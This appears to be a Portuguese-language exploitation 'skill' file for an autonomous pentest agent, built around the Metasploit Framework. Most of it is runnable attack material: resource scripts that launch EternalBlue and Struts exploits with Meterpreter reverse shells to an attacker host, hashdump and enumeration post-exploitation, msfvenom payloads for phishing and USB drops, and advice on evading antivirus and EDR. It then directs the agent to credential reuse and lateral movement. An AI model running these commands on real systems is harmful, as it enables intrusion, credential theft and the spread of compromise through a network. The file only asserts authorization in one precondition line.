---
name: metasploit_auto_exploit
phase: 4_exploitation
tools: [msfconsole, metasploit]
dependencies: [critical_vuln_found]
mitre_tactic: TA0001 (Initial Access), TA0002 (Execution)
---

# Objetivo

Automatizar todo o ciclo de exploração utilizando o Metasploit Framework, desde a importação
de resultados de varredura até a obtenção de sessões remotas e execução de módulos de
pós-exploração. Esta skill cobre: importação de alvos via `db_nmap`, busca de exploits por CVE,
seleção de payloads (reverse shell e meterpreter), geração de resource scripts (`.rc`) para
automação em lote, execução de módulos de pós-exploração (`hashdump`, `sysinfo`, `getuid`),
geração de payloads com `msfvenom` para entrega manual e configuração de handlers para
conexões reversas. Todos os comandos registram saída em `{workspace}/msf_*.txt` para
rastreabilidade completa do pentest.

# Condições de Execução

- A skill `critical_vuln_found` foi concluída com pelo menos uma vulnerabilidade crítica ou alta confirmada.
- O Metasploit Framework (msfconsole, msfvenom) está instalado e o serviço `postgresql` está ativo para o banco de dados do MSF.
- O agente possui autorização explícita para executar exploração ativa contra `{target_ip}` / `{target_domain}`.
- As variáveis `{lhost}` e `{lport}` estão definidas com o IP e porta do atacante (interface tun0/VPN).
- O diretório `{workspace}` existe e possui permissões de escrita.

# Comandos e Sintaxe

## 1. Inicialização do Banco de Dados e Workspace

Antes de qualquer operação, garantir que o banco de dados está conectado e o workspace
está configurado para isolar os resultados deste engagement.

```bash
msfdb start 2>&1 | tee {workspace}/msf_db_init.txt
msfconsole -q -x "
  workspace -a {workspace};
  workspace {workspace};
  db_status;
  exit
" 2>&1 | tee -a {workspace}/msf_db_init.txt
```

## 2. Importação de Alvos via db_nmap

Realizar varredura integrada com o banco de dados do Metasploit para popular hosts, serviços
e vulnerabilidades automaticamente. O `db_nmap` armazena os resultados diretamente no workspace.

```bash
msfconsole -q -x "
  workspace {workspace};
  db_nmap -sV -sC --script vuln -O -Pn -p- {target_ip} -oA {workspace}/nmap_full;
  hosts;
  services;
  vulns;
  exit
" 2>&1 | tee {workspace}/msf_db_nmap.txt
```

Para importar resultados de varreduras anteriores em formato XML:

```bash
msfconsole -q -x "
  workspace {workspace};
  db_import {workspace}/nmap_full.xml;
  hosts;
  services;
  vulns;
  exit
" 2>&1 | tee {workspace}/msf_db_import.txt
```

## 3. Consulta de Vulnerabilidades e Busca de Exploits por CVE

Após popular o banco, listar vulnerabilidades conhecidas e buscar módulos correspondentes.

```bash
msfconsole -q -x "
  workspace {workspace};
  vulns -i {target_ip};
  exit
" 2>&1 | tee {workspace}/msf_vulns_list.txt
```

Busca direcionada por CVE específico:

```bash
msfconsole -q -x "
  search type:exploit cve:CVE-YYYY-NNNNN;
  exit
" 2>&1 | tee {workspace}/msf_cve_search.txt
```

Busca por serviço e plataforma quando o CVE não retorna módulos:

```bash
msfconsole -q -x "
  search type:exploit name:apache platform:linux;
  search type:exploit name:smb platform:windows;
  exit
" 2>&1 | tee {workspace}/msf_service_search.txt
```

## 4. Seleção de Payload

A escolha do payload depende do sistema operacional do alvo e da necessidade de funcionalidades
avançadas. Meterpreter oferece recursos completos de pós-exploração; reverse shell é mais leve
e menos detectável.

**Payloads Meterpreter (recomendados para pós-exploração completa):**

| Sistema Operacional | Payload                                      |
|----------------------|----------------------------------------------|
| Linux x64            | `linux/x64/meterpreter/reverse_tcp`          |
| Windows x64          | `windows/x64/meterpreter/reverse_tcp`        |
| Windows x86          | `windows/meterpreter/reverse_tcp`            |
| Linux x64 (staged)   | `linux/x64/meterpreter_reverse_tcp`          |

**Payloads Reverse Shell (alternativa leve):**

| Sistema Operacional | Payload                                      |
|----------------------|----------------------------------------------|
| Linux x64            | `linux/x64/shell_reverse_tcp`                |
| Windows x64          | `windows/x64/shell_reverse_tcp`              |
| Multi-plataforma     | `cmd/unix/reverse_bash`                      |

## 5. Geração de Resource Script (.rc) para Automação

O resource script permite execução não-interativa e reprodutível. O agente deve gerar o `.rc`
dinamicamente com base nas vulnerabilidades encontradas.

**Script de exploração principal:**

```bash
cat > {workspace}/auto_exploit.rc << 'RCEOF'
workspace {workspace}

use {exploit_module}
set RHOSTS {target_ip}
set RPORT {target_port}
set LHOST {lhost}
set LPORT {lport}
set payload {payload_type}
set AutoRunScript multi_console_command -cl "sysinfo; getuid"
set ExitOnSession false
exploit -j -z

sleep 5
sessions -l
RCEOF
```

**Execução do resource script:**

```bash
msfconsole -q -r {workspace}/auto_exploit.rc 2>&1 | tee {workspace}/msf_exploit_run.txt
```

**Script multi-exploit para varredura em lote:**

```bash
cat > {workspace}/multi_exploit.rc << 'RCEOF'
workspace {workspace}

# Exploit 1 - SMB
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS {target_ip}
set LHOST {lhost}
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
exploit -j -z

# Exploit 2 - Apache Struts
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS {target_ip}
set RPORT 8080
set LHOST {lhost}
set LPORT 4445
set payload linux/x64/meterpreter/reverse_tcp
exploit -j -z

sleep 10
sessions -l
RCEOF
```

```bash
msfconsole -q -r {workspace}/multi_exploit.rc 2>&1 | tee {workspace}/msf_multi_exploit.txt
```

## 6. Módulos de Pós-Exploração

Após obter uma sessão ativa, executar módulos de coleta de informações e escalação.

```bash
cat > {workspace}/post_exploit.rc << 'RCEOF'
workspace {workspace}

# Informações do sistema
sessions -c "sysinfo" -i 1
sessions -c "getuid" -i 1
sessions -c "getpid" -i 1
sessions -c "ipconfig" -i 1

# Dump de hashes (requer privilégios elevados)
use post/windows/gather/hashdump
set SESSION 1
run

# Enumeração de usuários locais
use post/windows/gather/enum_logged_on_users
set SESSION 1
run

# Verificação de nível de privilégio
use post/multi/recon/local_exploit_suggester
set SESSION 1
set ShowCompleted true
run

sessions -l
RCEOF
```

```bash
msfconsole -q -r {workspace}/post_exploit.rc 2>&1 | tee {workspace}/msf_post_exploit.txt
```

**Pós-exploração para alvos Linux:**

```bash
cat > {workspace}/post_exploit_linux.rc << 'RCEOF'
workspace {workspace}

sessions -c "sysinfo" -i 1
sessions -c "getuid" -i 1

use post/linux/gather/hashdump
set SESSION 1
run

use post/linux/gather/enum_network
set SESSION 1
run

use post/multi/recon/local_exploit_suggester
set SESSION 1
run
RCEOF
```

```bash
msfconsole -q -r {workspace}/post_exploit_linux.rc 2>&1 | tee {workspace}/msf_post_linux.txt
```

## 7. Geração de Payloads com msfvenom

Para cenários de entrega manual (phishing, upload de arquivo, USB drop), gerar payloads
standalone com `msfvenom`.

**Payload Windows executável:**

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST={lhost} LPORT={lport} \
  -f exe -o {workspace}/payload_win.exe \
  -e x64/xor_dynamic -i 3 \
  2>&1 | tee {workspace}/msf_venom_win.txt
```

**Payload Linux ELF:**

```bash
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST={lhost} LPORT={lport} \
  -f elf -o {workspace}/payload_linux.elf \
  2>&1 | tee {workspace}/msf_venom_linux.txt
```

**Payload web (PHP):**

```bash
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST={lhost} LPORT={lport} \
  -f raw -o {workspace}/payload_shell.php \
  2>&1 | tee {workspace}/msf_venom_php.txt
```

**Payload Python (multi-plataforma):**

```bash
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST={lhost} LPORT={lport} \
  -f raw -o {workspace}/payload_meterp.py \
  2>&1 | tee {workspace}/msf_venom_python.txt
```

## 8. Configuração de Handler para Conexões Reversas

O handler deve estar ativo antes da execução ou entrega do payload. Gerar um resource script
dedicado para o listener.

```bash
cat > {workspace}/handler.rc << 'RCEOF'
workspace {workspace}

use exploit/multi/handler
set payload {payload_type}
set LHOST {lhost}
set LPORT {lport}
set ExitOnSession false
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
exploit -j -z
RCEOF
```

```bash
msfconsole -q -r {workspace}/handler.rc 2>&1 | tee {workspace}/msf_handler.txt
```

**Handler multi-porta para payloads simultâneos:**

```bash
cat > {workspace}/multi_handler.rc << 'RCEOF'
workspace {workspace}

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST {lhost}
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST {lhost}
set LPORT 4445
set ExitOnSession false
exploit -j -z

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST {lhost}
set LPORT 4446
set ExitOnSession false
exploit -j -z
RCEOF
```

```bash
msfconsole -q -r {workspace}/multi_handler.rc 2>&1 | tee {workspace}/msf_multi_handler.txt
```

# Análise de Resultados

- **Sessão Meterpreter aberta (`Meterpreter session X opened`):** Sucesso crítico. O agente obteve acesso remoto ao sistema. Verifique imediatamente o nível de privilégio com `getuid`. Sessões como `NT AUTHORITY\SYSTEM` ou `root` indicam controle total.
- **Shell reverso aberto (`Command shell session X opened`):** Acesso obtido com shell básico. Considere fazer upgrade para Meterpreter com `sessions -u X` para funcionalidades avançadas.
- **Exploit falhou (`Exploit completed, but no session was created`):** O alvo pode estar patcheado, um firewall/IPS bloqueou o tráfego, ou os parâmetros estão incorretos. Tente payloads alternativos (staged vs stageless) ou portas diferentes.
- **Exploit falhou (`The target is not exploitable`):** O módulo detectou que o alvo não é vulnerável. Verifique a versão exata do serviço e confirme o CVE.
- **Timeout na conexão:** Verifique se `{lhost}` está acessível pelo alvo, se a porta `{lport}` não está bloqueada por firewall local e se o roteamento está correto.
- **Payload detectado por AV/EDR:** Utilize encoders (`-e x64/xor_dynamic -i 5`), payloads stageless, ou técnicas de evasão (`set EnableStageEncoding true`). Considere gerar payloads customizados com templates legítimos (`msfvenom -x template.exe`).
- **Sem vulnerabilidades no `vulns`:** O `db_nmap` com scripts `vuln` pode não detectar todas as falhas. Complemente com importação de resultados do Nessus, OpenVAS ou Nuclei via `db_import`.

# Próximos Passos

- **Sessão como usuário comum (não-root/não-SYSTEM):** Acione `linux_privilege_escalation` ou `windows_privilege_escalation` conforme o SO detectado em `sysinfo`.
- **Sessão como root/SYSTEM:** Acione `hash_dumping_and_cracking` para extração de credenciais e `lateral_movement_psexec` para movimentação lateral na rede.
- **Credenciais obtidas via hashdump:** Encaminhe para `bruteforce_authentication` para tentativa de reutilização em outros hosts da rede.
- **Nenhuma sessão obtida:** Revise o output em `{workspace}/msf_exploit_run.txt`, ajuste parâmetros e tente exploits alternativos. Se todos falharem, considere exploração manual via `sql_injection_exploitation` ou `file_upload_exploitation`.
- **Múltiplas sessões ativas:** Documente cada sessão, priorize alvos com maior privilégio e execute pós-exploração sistematicamente.
- **Evidências coletadas:** Acione `generate_pentest_report` para compilar todos os artefatos de `{workspace}/msf_*.txt` no relatório final.
- **Mapeamento MITRE:** Acione `mitre_attack_mapping` para classificar técnicas utilizadas sob TA0001 (Initial Access) e TA0002 (Execution).

# Tratamento de Erros

- **`Database not connected`:** O PostgreSQL não está ativo. Execute `msfdb reinit` e tente novamente. Verifique com `systemctl status postgresql`.
- **`LHOST not set` ou handler sem conexão:** Confirme o IP correto da interface de ataque. Use `ip addr show tun0` para obter o endereço VPN. Nunca utilize `127.0.0.1` ou `0.0.0.0` como LHOST em cenários reais.
- **`Exploit failed: The connection was refused`:** O serviço alvo pode ter caído ou a porta está incorreta. Valide com `nmap -p {target_port} {target_ip}` antes de reexecutar.
- **`Payload was detected by antivirus`:** Tente as seguintes estratégias em ordem: (1) trocar para payload stageless, (2) habilitar `set EnableStageEncoding true`, (3) usar encoder com múltiplas iterações via msfvenom, (4) gerar payload com template legítimo (`msfvenom -x calc.exe`).
- **`Session X closed` imediatamente após abertura:** O processo alvo pode ter crashado. Tente um payload mais estável (ex: `meterpreter_reverse_tcp` stageless em vez de `meterpreter/reverse_tcp` staged) ou migre o processo imediatamente com `set AutoRunScript post/windows/manage/migrate`.
- **`No results` na busca por CVE:** O módulo pode não existir no Metasploit. Verifique em `exploit-db.com` se há exploit público e considere importação manual. Atualize o framework com `msfupdate` para garantir módulos recentes.
- **Erros de permissão em `hashdump`:** O módulo requer privilégios de SYSTEM/root. Execute `getsystem` antes do hashdump em Windows. Em Linux, verifique se a sessão está como root com `getuid`.
- **Resource script com erro de sintaxe:** Valide o `.rc` manualmente antes de executar. Cada linha deve conter exatamente um comando MSF válido. Linhas em branco e comentários com `#` são permitidos.
